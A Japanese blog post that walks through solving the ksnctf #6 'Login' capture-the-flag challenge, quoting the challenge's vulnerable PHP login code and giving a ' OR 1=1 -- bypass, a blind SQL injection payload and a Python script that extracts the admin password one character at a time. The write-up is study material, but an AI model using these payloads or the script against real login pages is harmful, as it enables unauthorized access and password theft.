スキップしてメイン コンテンツに移動

ksnctf #6 Login を解く。

 ksnctfの6問目、"Login"を解いていきます。

問題


 問題ページには次のurlのみありました。


 このページにアクセスすると、


 上のようなログイン画面が出てきます。

 どうやら"admin"としてログインしろとのこと。

 これはSQLインジェクションで解けそう。

解法

 とりあえず定番の" ' OR 1=1 --"をID欄に入力して送信ボタンを押してみた。

 ちなみに" ' OR 1=1 --"は1=1が常に真となり、'--'でそれ以降の文をコメント扱いにしてしまうので、SQL文全体が真となって必ずログインできるという優れもの。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}
    
    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';
    
    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>
 
 「そんなんで解けるわけないだろwww」と煽られた。

 'admin'のパスワードがフラグらしい。

 表示されたヒントからすると、この問題はブラインドSQLインジェクションっぽい。

 フラグの一文字目は'F'なので、
 
admin'  AND SUBSTR((SELECT pass FROM user WHERE id='admin'),1,1) = 'F'--
 
 これをID欄に投げると、'admin'のパスワードの一文字目は"F"なのでSQL文は真となりCongratulations!のページが表示される。

 これを利用して一文字ずつ総当たりで試していけばフラグゲット。

 一文字ずつ自分で当てはめていくのには骨が折れるのでスクリプトを書いた。

 この場合、pythonの'urllib'を使えばいいらしい。使い方はこちら。
 
import urllib.parse
import urllib.request

url = 'http://ctfq.sweetduet.info:10080/~q6/'

print ("flag : ",end = '')

#フラグが30文字まで想定
for i in range(1, 30):
    #文字コードを1つずつ足していく a~z,A~Z,0~9,その他記号を想定
    for j in range(47,126):
        values = {'id' : 'admin\'  AND SUBSTR((SELECT pass FROM user WHERE id=\'admin\'),' + str(i) + ',1) = \'' + chr(j) + '\'--',
                  'pass' : '',}
        data = urllib.parse.urlencode(values)
        data = data.encode('utf-8') # data should be bytes
        req = urllib.request.Request(url, data)
        response = urllib.request.urlopen(req)
        the_page = response.read()
        #Congratulations!のページが開いたか判定
        if len(the_page) > 1000 :
            print (chr(j),end ='')
            break #次の文字へ

print ('')

 実行したら少し時間かかってフラグでてきた。

まとめ

 6問目まで解いてまんべんなく知識がついている気がする。

コメント

このブログの人気の投稿

i3wm 厨二感溢れる軽量デスクトップ環境

 皆さんは、i3というデスクトップ環境をご存知ですか?  i3(i3ウィンドウマネージャ, i3wm)は、マウスをほとんど使わずに操作することができる、超軽量デスクトップ環境です。  またi3wmは、今現在最も新しい タイル型ウィンドウマネージャー で、マウスを使わずにカタカタカタ、ッターンとショートカットを打ち込むだけで画面がどんどん変わっていくので、側から見ると厨二感溢れるデスクトップ環境となっています。  今回は、i3wmのインストール方法と、使い方を紹介します。  余談ですが、i3に関してネットで調べるときには"i3"と検索するのではなく"i3wm"と調べると、ヒットしやすくなります。(某CPUや某電気自動車などが出てくるので) i3wmのインストール  今回は、ubuntuへのインストールです。(ちなみに自分はubuntu17.04)  まずはi3wm本体のインストール $ sudo apt install i3 次にdmenuとcomptonをインストール $ sudo apt install dmenu compton dmenuはi3wmでアプリケーションを起動するときに使い、 comptonはターミナルの透過のために必要なものです。 インストールが終わったら再起動してログイン画面でデスクトップ環境を"i3"にしてログインします。 使い方  i3wmが開くと次のような質問をされます。 ~/.config/i3/config を作るか modキーは何にするか configファイルは作っておいたほうがいいと思います。  modキーはi3wmにおいてショートカットを使うときに押すキーです。これはwindowsキーやcommandキーがいいと思います。  ここにショートカットに一覧を載せておきます。  (ちなみに下の変なマークはmodキー) Basics  + ↩︎ open new terminal  +  j focus left  +  k focus down  +  l focus up  +  ; focus right  +  space toggle f

ksnctf #4 Villager A 初めての書式文字列攻撃。

 ksnctfの4問目、Villager A を解きました。 問題 https://ksnctf.sweetduet.info/problem/4  問題ページにはアドレス、ID、パスワードが書かれているのでSSHでログイン。  ログインしたら、とりあえずls。 $ ls flag.txt q4 readme.txt  readmeには大したこと書いてなかった。  flag.txtはもちろん開けない。  とりあえずq4を実行してみる。 $ ./q4 What's your name? Sugita Genpaku Hi, Sugita Genpaku Do you want the flag? はい Do you want the flag? yes Do you want the flag? نعم فعلا Do you want the flag? いいえ Do you want the flag? no I see. Good bye.  "no"と答えるまで煽られ続ける模様。  ユーザーが入力した値を出力しているあたり、この前本で読んだばかりの書式文字列攻撃を使うっぽい。  いきなりアセンブリ読むのもアレなのでstringsかけてみる。  stringsコマンドは、ファイルに含まれる文字列を出力してくれる。 strings q4 /lib/ld-linux.so.2 libstdc++.so.6 __gmon_start__ _Jv_RegisterClasses __gxx_personality_v0 libm.so.6 libgcc_s.so.1 libc.so.6 _IO_stdin_used fopen puts putchar stdin printf fgets strcmp __libc_start_main CXXABI_1.3 GLIBC_2.1 GLIBC_2.0 PTRh [^_] What's your name? Hi, Do you want the flag? I see. Good bye. flag.txt  どうにかすればfopenでflag.txtの中身を出力してくれると予想。  ここでもう一度

Parallels Desktop Lite -Macに無料でLinuxの仮想環境を作る

 今回は、有名な仮想化ソフト"Parallels Desktop"の無料版、"Parallels Desktop Lite"を紹介したいと思います。  では早速、仮想環境などの説明は省いてParallels Desktop Liteの説明から行きましょ う。 Parallels Desktop Liteって?  Parallels Desktop Liteはその名の通りParallels Desktopの機能限定版で、App Storeからインストールすることができます。   Parallels Desktopとは違い、Linux系osの仮想環境は無料で構築することができます。(Windowsを入れる際には課金が必要) 簡単!仮想環境の構築  Parallels Desktop Liteをインストールして開くと、次のようなウィンドウが開きます。  Linuxのisoイメージファイルは、自分でダウンロード、下の「無料システム」の部分からダウンロードのどちらでも構いません。  僕は、Ubuntuの公式ページから、Ubuntu17.04をダウンロードしました。 インストール時に気になった部分は一点だけで、 この画面の、"高速インストール"を有効にしてインストールすると、設定がおかしなことになっていて使い物になりませんでした。(あくまでも自分の場合)    このあと、新しい仮想マシンが立ち上がるので、あとはいつも通りLinuxのインストールをするだけです。 使ってみての感想  これ、めちゃめちゃ使いやすいです。  インストールしたosに"parallels tools"をインストールすると、なお使いやすい。  parallels toolsのインストールは、Linuxのインストール後、ウィンドウのどこかに通知がされると思うのでその手順に従ってください。  これには、parallelsのウィンドウサイズに合わせてosのディスプレイサイズを合わせてくれる機能や、macとのファイル共有機能、macと仮想環境との間でシームレスにコピペができる機能が含まれています。  この機能は、

ページビューの合計

ラベル一覧を表示